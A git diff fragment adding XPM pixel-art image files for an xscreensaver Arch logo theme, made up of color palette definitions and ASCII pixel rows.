,,,,,,,,,,...***************************@#######&*************########&'''';********************;''''=$$$$$$$$$$$$$$$$$$$$$&#######$$$$$$$$$$$$$$$$$$$$...........,,,,,,,,,, ", +" ,,,,,,,,,,...***************************&#######@**************#######>''''**********************'''',$$$$$$$$$$$$$$$$$$$$$@#######&$$$$$$$$$$$$$$$$$$............,,,,,,,,,, ", +" ,,,,,,,,,,...***************************########****************######''''>#****************$$$$$,''''$$$$$$$$$$$$$$$$$$$$$$########$$$$$$$$$$$$$$$$$.............,,,,,,,,,, ", +" ,,,,,,,,,,...**************************@#######&*****************#####''''&##***********$$$$$$$$$;''''*$$$$$$$$$$$$$$$$$$$$$@#######@$$$$$$$$$$$$$$$..............,,,,,,,,,, ", +" ,,,,,,,,,,...**************************&#######*******************&###''''&###*****$$$$$$$$$$$$$$=''''=$$$$$$$$$$$$$$$$$$$$$$#######&$$$$$$$$$$$$$................,,,,,,,,,, ", +" ,,,,,,,,,,...**************************#######&********************&#&''''#####*$$$$$$$$$$$$$$$$$*''''=$$$$$$$$$$$$$$$$$$$$$$&#######$$$$$$$$$$$$.................,,,,,,,,,, ", +" ,,,,,,,,,,...**************************#######@********************$&&''''######$$$$$$$$$$$$$$$$$*''''=$$$$$$$$$$$$$$$$$$$$$$@#######$$$$$$$$$$...................,,,,,,,,,, ", +" ,,,,,,,,,,...*************************@#######******************$$$$$>''''#######$$$$$$$$$$$$$$$$*''''=$$$$$$$$$$$$$$$$$$$$$$$#######@$$$$$$$.....................,,,,,,,,,, ", +" ,,,,,,,,,,...*************************&#######*********$$$$$$$$$$$$$$=''''########$$$$$$$$$$$$$$$*''''=$$$$$$$$$$$$$$$$$$$$$$$#######&$$$$........................,,,,,,,,,, ", +" ,,,,,,,,,,...$$$$$$*******************&######&$$$$$$$$$$$$$$$$$$$$$$$=''''#########$$$$$$$$$$$$$$*''''=$$$$$$$$$$$$$$$$$$$$$$$&######&$$..........................,,,,,,,,,, ", +" ,,,,,,,,,,...$$$$$$$$$$$$$$$$$$$$$$$$$#######@$$$$$$$$$$$$$$$$$$$$$$$=''''##########$$$$$$$$$$$$$*''''=$$$$$$$$$$$$$$$$$$$$$$$@#######............................,,,,,,,,,, ", +" ,,,,,,,,,,...$$$$$$$$$$$$$$$$$$$$$$$$$#######@$$$$$$$$$$$$$$$$$$$$$$$=''''###########$$$$$$$$$$$$*''''=$$$$$$$$$$$$$$$$$$$$$$$$#######$...........................,,,,,,,,,, ", +" ,,,,,,,,,,...$$$$$$$$$$$$$$$$$$$$$$$$@#######$$$$$$$$$$$$$$$$$$$$$$$$=''''&###########$$$$$$$$$$$*''''=$$$$$$$$$$$$$$$$$$$$$$$$#######$...........................,,,,,,,,,, ", +" ,,,,,,,,,,...$$$$$$$$$$$$$$$$$$$$$$$$@#######$$$$$$$$$$$$$$$$$$$$$$$$=''''*&###########$$$$$$$$$$*''''=$$$$$$$$$$$$$$$$$$$$$...#######@...........................,,,,,,,,,, ", +" ,,,,,,,,,,...$$$$$$$$$$$$$$$$$$$$$$$$&#######$$$$$$$$$$$$$$$$$$$$$$*,)))))))------------>)))))))))))))),$$$$$$$$$$$$$$$$.......#######@...........................,,,,,,,,,, ", +" ,,,,,,,,,,...$$$$$$$$$$$$$$$$$$$$$$$$&#######$$$$$$$$$$$$$$$$$$$$$$=))))))))))))))))))))))))))))))))))))=$$$$$$$$$$$$..........#######&...........................,,,,,,,,,, ", +" ,,,,,,,,,,...$$$$$$$$$$$$$$$$$$$$$$$$&######&$$$$$$$$$$$$$$$$$$$$$$=))))))))))))))))))))))))))))))))))))=$$$$$$$$..............&######&...........................,,,,,,,,,, ", +" ,,,,,,,,,,...$$$$$$$$$$$$$$$$$$$$$$$$&######&$$$$$$$$$$$$$$$$$$$$$$=))))))))))))))))))))))))))))))))))))=$$$$..................&######&...........................,,,,,,,,,, ", +" ,,,,,,,,,,...$$$$$$$$$$$$$$$$$$$$$$$$&######&$$$$$$$$$$$$$$$$$$$$$$=))))))))))))))))))))))))))))))))))))=......................&######&...........................,,,,,,,,,, ", +" ,,,,,,,,,,...$$$$$$$$$$$$$$$$$$$$$$$$&######&$$$$$$$$$$$$$$$$$$$$$$=))))))))))))))))))))))))))))))))))))=......................&######&...........................,,,,,,,,,, ", +" ,,,,,,,,,,...$$$$$$$$$$$$$$$$$$$$$$$$&######&$$$$$$$$$$$$$$$$$$$$$$=))))))))))))))))))))))))))))))))))))=......................&######&...........................,,,,,,,,,, ", +" ,,,,,,,,,,...$$$$$$$$$$$$$$$$$$$$$$$$&#######$$$$$$$$$$$$$$$$$$$$$$=))))))))))))))))))))))))))))))))))))=......................#######@...........................,,,,,,,,,, ", +" ,,,,,,,,,,...$$$$$$$$$$$$$$$$$$$$$$$$@#######$$$$$$$$$$$$$$$$$$$$$$=))))))))))))))))))))))))))))))))))))=......................#######@...........................,,,,,,,,,, ", +" ,,,,,,,,,,...$$$$$$$$$$$$$$$$$$$$$$$$@#######$$$$$$$$$$$$$$$$$$$$$$=))))))))))))))))))))))))))))))))))))=......................#######@...........................,,,,,,,,,, ", +" ,,,,,,,,,,...$$$$$$$$$$$$$$$$$$$$$$$$$#######$$$$$$$$$$$$$$$$$$$$$$=))))))))))))))))))))))))))))))))))))=......................#######............................,,,,,,,,,, ", +" ,,,,,,,,,,...$$$$$$$$$$$$$$$$$$$$$$$$$#######@$$$$$$$$$$$$$$$......=))))))))))))))))))))))))))))))))))))=.....................@#######............................,,,,,,,,,, ", +" ,,,,,,,,,,....$$$$$$$$$$$$$$$$$$$$$$$$#######@.....................=))))))))))))))))))))))))))))))))))))=.....................@#######............................,,,,,,,,,, ", +" ,,,,,,,,,,............................&######&.....................=))))))))))))))))))))))))))))))))))))=.....................&######&............................,,,,,,,,,, ", +" ,,,,,,,,,,............................@#######.....................=))))))))))))))))))))))))))))))))))))=.....................#######@............................,,,,,,,,,, ", +" ,,,,,,,,,,............................$#######$....................=))))))))))))))))))))))))))))))))))))=.....................#######.............................,,,,,,,,,, ", +" ,,,,,,,,,,.............................#######&....................=))))))))))))))))))))))))))))))))))))&....................&#######.............................,,,,,,,,,, ", +" ,,,,,,,,,,.............................&#######....................=))))))))))))))))))))))))))))))))))))#@...................#######&.............................,,,,,,,,,, ", +" ,,,,,,,,,,.............................@#######@...................=))))))))))))))))))))))))))))))))))))##@.................@#######@.............................,,,,,,,,,, ", +" ,,,,,,,,,,..............................#######&...................=))))))))))))))))))))))))))))))))))))###@................&#######..............................,,,,,,,,,, ", +" ,,,,,,,,,,..............................&#######...................=))))))))))))))))))))))))))))))))))))####@...............#######&..............................,,,,,,,,,, ", +" ,,,,,,,,,,..............................@#######&..................=))))))))))))))))))))))))))))))))))))#####@.............&#######@..............................,,,,,,,,,, ", +" ,,,,,,,,,,...............................########..................=))))))))))))))))))))))))))))))))))))######@............########...............................,,,,,,,,,, ", +" ,,,,,,,,,,...............................&#######&.................=))))))))))))))))))))))))))))))))))))#######@..........&#######&...............................,,,,,,,,,, ", +" ,,,,,,,,,,................................########.................=))))))))))))))))))))))))))))))))))))########@.........########................................,,,,,,,,,, ", +" ,,,,,,,,,,................................&#######&................=))))))))))))))))))))))))))))))))))))#########@.......&#######&................................,,,,,,,,,, ", +" ,,,,,,,,,,.................................########@...............=))))))))))))))))))))))))))))))))))))##########&.....@########.................................,,,,,,,,,, ", +" ,,,,,,,,,,.................................&########...............=))))))))))))))))))))))))))))))))))))###########&....########&.................................,,,,,,,,,, ", +" ,,,,,,,,',..................................########&..............=))))))))))))))))))))))))))))))))))))@###########&..&########..................................,',,,,,,,, ", +" ,,,,,,,,',..................................@########@.............=))))))))))))))))))))))))))))))))))))=$###########&@########@..................................,',,,,,,,, ", +" ,,,,,,,,',...................................&########@............$,>>>>>>>>)))))))))))))))))))))),,,,,$.$###################&.................................++,',,,,,,,, ", +" ,,,,,,,,',....................................#########........................$$$$$$$$$$$$$$$..............##################.......................+++++++++++++,',,,,,,,, ", +" ,,,,,,,,',....................................@#########.....................................................################$..............++++++++++++++++++++++,',,,,,,,, ", +" ,,,,,,,,',.....................................&#########.....................................................##############@.......++++++++++++++++++++++++++++++,',,,,,,,, ", +" ,,,,,,,,',......................................&#########$....................................................############&.+++++++++++++++++++++++++++++++++++++,',,,,,,,, ", +" ,,,,,,,,',.......................................##########@....................................................###########.++++++++++++++++++++++++++++++++++++++,',,,,,,,, ", +" ,,,,,,,,',........................................##########&..................................................&##########.+++++++++++++++++++++++++++++++++++++++,',,,,,,,, ", +" ,,,,,,,,',.........................................###########.............................................++.###########.++++++++++++++++++++++++++++++++++++++++,',,,,,,,, ", +" ,,,,,,,,',..........................................###########@.....................................++++++.@###########.+++++++++++++++++++++++++++++++++++++++++,',,,,,,,, ", +" ,,,,,,,,',...........................................###########&...............................++++++++++.&###########.++++++++++++++++++++++++++++++++++++++++++,',,,,,,,, ", +" ,,,,,,,,',............................................############&........................+++++++++++++.&############.+++++++++++++++++++++++++++++++++++++++++++,',,,,,,,, ", +" ,,,,,,,,',.............................................&############&..................+++++++++++++++.&############&+++++++++++++++++++++++++++++++++++++++++++++,',,,,,,,, ", +" ,,,,,,,,',..............................................@#############&@..........++++++++++++++++++@&#############@++++++++++++++++++++++++++++++++++++++++++++++,',,,,,,,, ", +" ,,,,,,,,',................................................###############&@...++++++++++++++++++.@&###############$+++++++++++++++++++++++++++++++++++++++++++++++,',,,,,,,, ", +" ,,,,,,,,',.................................................&#################&@$..+++++++++.$@&#################&+++++++++++++++++++++++++++++++++++++++++++++++++,',,,,,,,, ", +" ,,,,,,,,',...................................................&#######################&&#######################&.++++++++++++++++++++++++++++++++++++++++++++++++++,',,,,,,,, ", +" ,,,,,,,,',....................................................@##############################################$++++++++++++++++++++++++++++++++++++++++++++++++++++,',,,,,,,, ", +" ,,,,,,,,',......................................................@#########################################&$++++++++++++++++++++++++++++++++++++++++++++++++++++++,',,,,,,,, ", +" ,,,,,,,,',.................................................+++++++$&####################################&$++++++++++++++++++++++++++++++++++++++++++++++++++++++++,',,,,,,,, ", +" ,,,,,,,,',..............................................++++++++++++.@################################@+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++'',,,,,,,, ", +" ,,,,,,,,',...........................................++++++++++++++++++$@&########################&@$+++++++++++++++++++++++++++++++++++++++++++++++++++++%%%%%%%%'',,,,,,,, ", +" ,,,,,,,,',.......................................++++++++++++++++++++++++++$@&###############&&@$+++++++++++++++++++++++++++++++++++++++++++++%%%%%%%%%%%%%%%%%%%%'',,,,,,,, ", +" ,,,,,,,,',....................................+++++++++++++++++++++++++++++++++++.$$@@@@$$$+++++++++++++++++++++++++++++++++++++++++++%%%%%%%%%%%%%%%%%%%%%%%%%%%%'',,,,,,,, ", +" ,,,,,,,,!'.................................++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%'!,,,,,,,, ", +" ,,,,,,,,!'...............................++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%'!,,,,,,,, ", +" ,,,,,,,,!'............................++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%'!,,,,,,,, ", +" ,,,,,,,,!'.........................++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%'!,,,,,,,, ", +" ,,,,,,,,!'......................+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%'!,,,,,,,, ", +" ,,,,,,,,!'....................+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%'!,,,,,,,, ", +" ,,,,,,,,!!+.................+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%!!,,,,,,,, ", +" ,,,,,,,,'!';;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;'!',,,,,,,, ", +" ,,,,,,,,,'!!!!!!!!!!''''''''''''''''''''''''''''''''',,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,'''''''''''''''''''''''''''''''''!!!!!!!!!!',,,,,,,,, ", +" ,,,,,,,,,,,''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''!!!!!!!!!!!!!!!!!!!!!!!!!!!''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''',,,,,,,,,,, ", +" ,,,,,,,,,,,,,,,''''''''''''''''''''''''''''''''''''''''!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!''''''''''''''''''''''''''''''''''''''',,,,,,,,,,,,,,, ", +" ,,,,,,,,,,,,,,,''''''''''''''''''''''''''''''''''''''''!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!'''''''''''''''''''''''''''''''''''',,,,,,,,,,,,,,,,,, ", +" ,,,,,,,,,,,,,,,''''''''''''''''''''''''''''''''''''''''!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!'''''''''''''''''''''''''''''''''''',))),,,,,,,,,,,,,, ", +" ,,,,,,,,,,,,,,,''''''''''''''''''''''''''''''''''''''''!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!''''''''''''''''''''''''''''''''''','))))',,,,,,,,,,,, ", +" ,,,,,,,,,,,,,,,''''''''''''''''''''''''''''''''''''''''!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!''''''''''''''''''''''''''''''''''',)))))!,,,,,,,,,,,, ", +" ,,,,,,,,,,,,,,,''''''''''''''''''''''''''''''''''''''''!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!''''''''''''''''',',''',',!'',',!'',,))))!,,,,,,,,,,,, ", +" ,,,,,,,,,,,,,,,''''''''''''''''''''''''''''''''''''''''!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!''''''''''''''''',,,!'',,'!'',,'!'''')))!',,,,,,,,,,,, ", +" ,,,,,,,,,,,,,,,''''''''''''''''''''''''''''''''''''''''!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!''''''''''''''''''!!''''!!''''!!'''''!!!',,,,,,,,,,,,, ", +" ,,,,,,,,,,,,,,,''''''''''''''''''''''''''''''''''''''''!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!''''''''''''''''''''''''''''''''''''''',,,,,,,,,,,,,,, ", +" ,,,,,,,,,,,,,,,,,,,,,,,,,,'''''''''''''''''''''''''''''''''''''''''!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!'''''''''''''''''''''''''''''''''''''''',,,,,,,,,,,,,,,,,,,,,,,,,, ", +" ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, ", +" ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,'''''''''''''''''''''''''''''''''''''''''''!!!!!!!!!!!!!!!'''''''''''''''''''''''''''''''''''''''''',,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, ", +" ,,,,,,,,,'''',,,,,,,,, ", +" ,,,,,,,,,''',,,,,,,,,, ", +" ,,,,,,,,''''',,,,,,,,, ", +" ,,,,,,,''''''',,,,,,,, ", +" ,,,,,'''''!!!''',,,,,,,, ", +" ,,,,''''''!!!!'',,',,,,, ", +" ,,,,'''''!!!!!''',',,,,, ", +" ,',''''''!!!!!''',',,,,, ", +" ,,,,''''''''!!!!!''','',,,,,,, ", +" ,,,,''!!!!,,!!''''''!!!!!''','',,,,'!!!''',,,, ", +" ,,''!!!!!!''''',,!!!'''''!!!!!''','',,,,,'''''!!!!!!',,, ", +" ,,'!!!''''''''''''','!!!!''''!!!!!''','',,,,,''''''''''''''!!',, ", +" ,,'''''''''''''''',,,,,,'!!!!''''!!!!!''','',,,,,,,,,,'''''''''''''''',, ", +" ,'''''''''''''',,,,,,,,,,,,'!!!!!'''!!!!!''','',,,,,,,,,,,,,,,,,'''''''''''',, ", +" ,'''''''''''',,,,,,,,,,,,,,,,,!!!!!!''!!!!!''','',,,,,,,,,,,,,,,,,,,,,''''''''''', ", +" '''!!'''''',,,,,,,,,,,,,,,,,,,,,,!!!!!''!!!!!''','',,,,,,,,,,,,,,,,,,,,,,,,,'''''!!'', ", +" ,''!!!',,,,,,,,,,,,,,,,,,,,,,,,,,,,'!!!!!!!!!!!''','',,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,!!!'', ", +" ,''!!!!',,,,,,,,,,,,,,,,,,,,,,,,,,,,,,'!!!!!!!!!!''','',,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,'!!!!', ", +" ,,'!!!!!,,,,,,,''''''''''''''''''''',,,,''!!!!!!!!''',',,,,,''''''''''''''''''''''',,,,,!!!!!',, ", +" ,,'!!!!!!',''''''''''''''''''''''''''',,,,,'''!!!!!''',,,,,''''''''''''''''''''''''''''''!!!!!!',, ", +" ,,'!!!!!!!'''''''''''''''''!!!!!!!!!!!!'',,,,,,,,'',,,,,,,,''!!!!!!!!!!!!!!'''''''''''''''!!!!!!!', ", +" ,,!!!!!!!!!''''''''''!!!!!!!!!!!!!!!!!!''',,,,,,,,,,,,,,,,'''!!!!!!!!!!!!!!!!!!!'''''''''!!!!!!!!!,, ", +" ,,'!!!!!!!!!!'''''!!!!!!!!!!!!!!!!!!!!!!''',,,,,,,,,,,,,,,,,''!!!!!!!!!!!!!!!!!!!!!!!!'''!!!!!!!!!!',, ", +" ,''!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!'',,,,,,,,,,,,,,,,,,''!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!'', ", +" ,,'!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!'',,,,,,,,,,,,,,,,,,,,''''!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!',, ", +" ,,''!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!'''''',,,,,,,,,,,,,,,,,,,,''''''''!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!',, ", +" ,,''!!!!!!!!!!!!!!!!!!!!!!!!!!!!!'''''''',,,,,,,,,,,,,,,,,,,,''''''''''!!!!!!!!!!!!!!!!!!!!!!!!!!!',,, ", +" ,,,''!!!!!!!!!!!!!!!!!!!!!!!!!!'''''''''',,,,,,,,,,,,,,,,,,,,''''''''''''!!!!!!!!!!!!!!!!!!!!!!!!!',,, ", +" ,,,,!!!!!!!!!!!!!!!!!!!!!!!!'''''''''''',,,,,,,,,,,,,,,,,,,,'''''''''''''!!!!!!!!!!!!!!!!!!!!!!!,,,, ", +" ,,,,'!!!!!!!!!!!!!!!!!!!!!!!!'''''''''',,,,,,,,,,,,,,,,,,,,''''''''''''!!!!!!!!!!!!!!!!!!!!!!!,,,,, ", +" ,,,,,!!!!!!!!!!!!!!!!!!!!!'''''''''''',,,,,,,,,,,,,,,,,,,,''''''''''''''!!!!!!!!!!!!!!!!!!!,,==,, ", +" ,,,=,,!!!!!!!!!!!!!!!!!!!!'''''''''''',,,,,,,,,,,,,,,,,,''''''''''''''!!!!!!!!!!!!!!!!!!,,,===, ", +" ,,====,'!!!!!!!!!!!!!!!!!!!!'''''''''',,,,,,,,,,,,,,,,''''''''''''!!!!!!!!!!!!!!!!!!',,,,,,, ", +" ,=====,,'!!!!!!!!!!!!!!!!!!!!!!''''''',,,,,,,,,,,,'''''''''!!!!!!!!!!!!!!!!!!!!',,,,,,,,, ", +" ,====,,,,,'!!!!!!!!!!!!!!!!!!!!!!!'''''',,,,,,,'''''!!!!!!!!!!!!!!!!!!!!!!!',,,,,,,,,, ", +" ,,,,,,,,,,,''!!!!!!!!!!!!!!!!!!''''''''''''''''''!!!!!!!!!!!!!!!!!!!'',,,,,,,,,,, ", +" ,,,,,,,,,,,,'''!!!!!!!!!!!!!!!''''''''''''''''!!!!!!!!!!!!!!!!!'''',,,,,,,,, ", +" ,,,,,,,,,''''!!!!!!!!!!!!!'''''''''''''''''''!!!!!!!!!!!!!!!'''',,,,,, ", +" ,,,,,'''!!!!!!!!!!!!''''''',,,,,,,,'''''''!!!!!!!!!!!!!!!''',, ", +" ''''!!!!!!!!!!!'''''''',,,,,,,,''''''''!!!!!!!!!!!!!!' ", +" !!!!!!!!!'''''''',,,,,,,,''''''''!!!!!!!!! ", +" '''''''',,,,,,,,''''''''! ", +" "}; diff --git a/xscreensaver-arch-logo/xscreensaver-graphics-all/logo-180-crystal-4.xpm b/xscreensaver-arch-logo/xscreensaver-graphics-all/logo-180-crystal-4.xpm new file mode 100644 index 0000000..a9a1fa7 --- /dev/null +++ b/xscreensaver-arch-logo/xscreensaver-graphics-all/logo-180-crystal-4.xpm @@ -0,0 +1,200 @@ +/* XPM */ +static char * logo_180_crystal_4_xpm[] = { +"180 180 17 1", +" c None", +". c #181209", +"+ c #2B6FA4", +"@ c #985F0B", +"# c #656764", +"$ c #008ED2", +"% c #D07B00", +"& c #BB882C", +"* c #769FC2", +"= c #35B4E4", +"- c #C09C5D", +"; c #A7ACAE", +"> c #EDAD37", +", c #F1BD63", +"' c #EFD19D", +") c #D6D9D6", +"! c #F2F3EE", +" ", +" ####### ", +" ############### ", +" ###################### ", +" ###########;############### ", +" ############;)!!!!!!);;######### ", +" ############;)!!!!!!!!!!!!!));;##### ", +" ############;)!!!!!!!!!!!!!!!!!!!!!;#### ", +" ###########;)!!!!!!!!!!!!!!!!!!!!!!!!!)#### ", +" ###########;)!!!!!!!!!!!!!!!!)!!!!!!!!!!!!)#### ", +" ###########;)!!!!!!!!!!!!!!!!)))))!!!!!;;)!!!!)#### ", +" ###########;)!!!!!!!!!!!!!!!!)))))))))!!!!!;;;)!!!)#### ", +" ###########;)!!!!!!!!!!!!!!!!)))))))))))))!!!!!;;;)!!!)#### ", +" ###########;;!!!!!!!!!!!!!!!!)))))))))))))))))!!!!!;;;)!!!)#### ", +" ###########;;)!!!!!!!!!!!!!!!)))))))))))))))))))))!!!!!;;;)!!!)#### ", +" ###########;;)!!!!!!!!!!!!!!!)))))))))))))))))))))))))!!!!!;;;)!!!)#### ", +" ###########;;)!!!!!!!!!!!!!!!)))))))))))))))))));**)))))))!!!!!;;;)!!!)#### ", +" ###########;;)!!!!!!!!!!!!!!!)))))))))))))))))));******)))))))!!!!!;;;)!!!)#### ", +" ############;)!!!!!!!!!!!!!!!!))))))))))))))))));**********)))))))!!!!!;;;)!!!)#### ", +" ###########;)!!!!!!!!!!!!!!!!))))))))))))))))));**************)))))))!!!!!;;;)!!!)#### ", +" ###########;)!!!!!!!!!!!!!!!!)))))))))))))))));*******************)))))))!!!!!;;;)!!!)#### ", +" ###########;)!!!!!!!!!!!!!!!!)))))))))))))))));**********++*****$$****)))))))!!!!!;;;)!!!)#### ", +" ###########;)!!!!!!!!!!!!!!!!)))))))))))))))));*********++++***$$$$$$$****)))))))!!!!!;;;)!!!)#### ", +" ###########;)!!!!!!!!!!!!!!!!)))))))))))))))));**++****++++++**$$$$$$$$$$$****)))))))!!!!!;;;)!!!)#### ", +" ###########;)!!!!!!!!!!!!!!!!)))))))))))))))));**++++++++++++**$$$$$$$$$$$$$$$****)))))))!!!!!;;;)!!!)#### ", +" ###########;)!!!!!!!!!!!!!!!!))))))))))))))));**++++++++++++++$$$$$$$$$$$$$$$$$$$$****)))))))!!!!!;;;)!!!)#### ", +" ###########;;!!!!!!!!!!!!!!!!))))))))))))))));**++++++++++++++$$$$$$$$$$$$$$$$$$$$$$$$****)))))))!!!!!;;;)!!!)#### ", +" ###########;;)!!!!!!!!!!!!!!!))))))))))))))));**++++++++++++++$$$$$$$$$$$$$$$$$$$$$$$$$$$$****)))))))!!!!!;;;)!!!)#### ", +" ###########;;)!!!!!!!!!!!!!!!))))))))))))))));*+++++++++++++++$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$****)))))))!!!!);;;)!!!)#### ", +" ########;;)!!!!!!!!!!!!!!!))))))))))))))));*+++++++++++++++$=======$$$$$$$$$$$$$$$$$$$$$$$$$$$$****)))))))!!!!);;;)!!!)#### ", +" #####;)!!!!!!!!!!!!!!!))))))))))))))))**+++++++++++++++$==========$$$$$$$$$$$$$$$$$$$$$$$$$$$$$****)))))))!!!!);;;)!!!)#### ", +" ####!!!!!!!!!!!!!!!))))))))))))));**+++++++++++++++$==============$$$$$$$$$$$$$$$$$$$$$$$$$$$$$****))))))))!!!);;;)!!!)#### ", +" ###;!!!!!!!!!!!))))))))))))));**+++++++++++++++====================$$$$$$$$$$$$$$$$$$$$$$$$$$$$****))))))))!!!);;;)!!!)#### ", +" ###)!!!!!!!))))))))))))));*+++++++++++++++$=======================$$$$$$$$$$$$$$$$$$$$$$$$$$$$$****))))))))!!!);;;)!!!)#### ", +" ###)!!!!)))))))))))));*+++++++++++++++$============================$$$$$$$$$$$$$$$$$$$$$$$$$$$$****))))))))!!!);;;)!!!)#### ", +" ###)!!!!)))))))));*+++++++++++++++$===============================$$$$$$$$$$$$$$$$$$$$$$$$$$$$$****))))))))!!!);;;)!!!)#### ", +" ###)!!!!)))))**+++++++++++++++$====================================$$$$$$$$$$$$$$$$$$$$$$$$$$$$***;))))))))!!!);;;)!!!)#### ", +" ###)!!!!)))*++++++++++++++$=======================================$$$$$$$$$$$$$$$$$$$$$$$$$$$$$***;))))))))!!!);;;)!!!)#### ", +" ###)!!!!)))*++++++++++$=========================================$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$***;))))))))!!!);;;)!!!)#### ", +" ###)!!!!)))*++++++$============================================$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$***;))))))))!!!);;;)!!!)#### ", +" ###)!!!!)))*+++$==============================================$=$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$***;))))))))!!!);;;)!!!)#### ", +" ###)!!!!)))*+++================================================$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$***;))))))))!!!);;;)!!!)#### ", +" ###)!!!!)))*+++==============================================$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$***;))))))))!!!);;;)!!!)#### ", +" ###)!!!!)))*+++============================================$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$***;))))))))!!!);;;)!!!)#### ", +" ###)!!!!)))*+++===========================================$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$***;))))))))!!!);;;)!!!)#### ", +" ###)!!!!)))*+++$=========================================$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$***;))))))))!!!);;;)!!!)#### ", +" ###)!!!!)))*+++$========================================$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$***;))))))))!!!);;;)!!!)#### ", +" ###)!!!!)))*+++$======================================$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$**;;))))))))!!!);;;)!!!)#### ", +" ###)!!!!)))*+++$=====================================$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$**;;))))))))!!!);;;)!!!)#### ", +" ###)!!!!)))*+++$====================================$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$**;;))))))))!!!);;;)!!!)#### ", +" ###)!!!!)))*+++$===================================$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$**;;))))))))!!!);;;)!!!)#### ", +" ###)!!!!)))*+++$==================================$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$**;;))))))))!!!);;;)!!!)#### ", +" ###)!!!!)))*+++$=================================$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$**;;))))))))!!!);;;)!!!)#### ", +" ###)!!!!)))*+++$================================$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$**;)))))))))!!!);;;)!!!)#### ", +" ###)!!!!)))*+++$===============================$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$**;)))))))))!!!);;;)!!!)#### ", +" ###)!!!!)))*+++$===============================$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$*;;)))))))))!!!);;;)!!!)#### ", +" 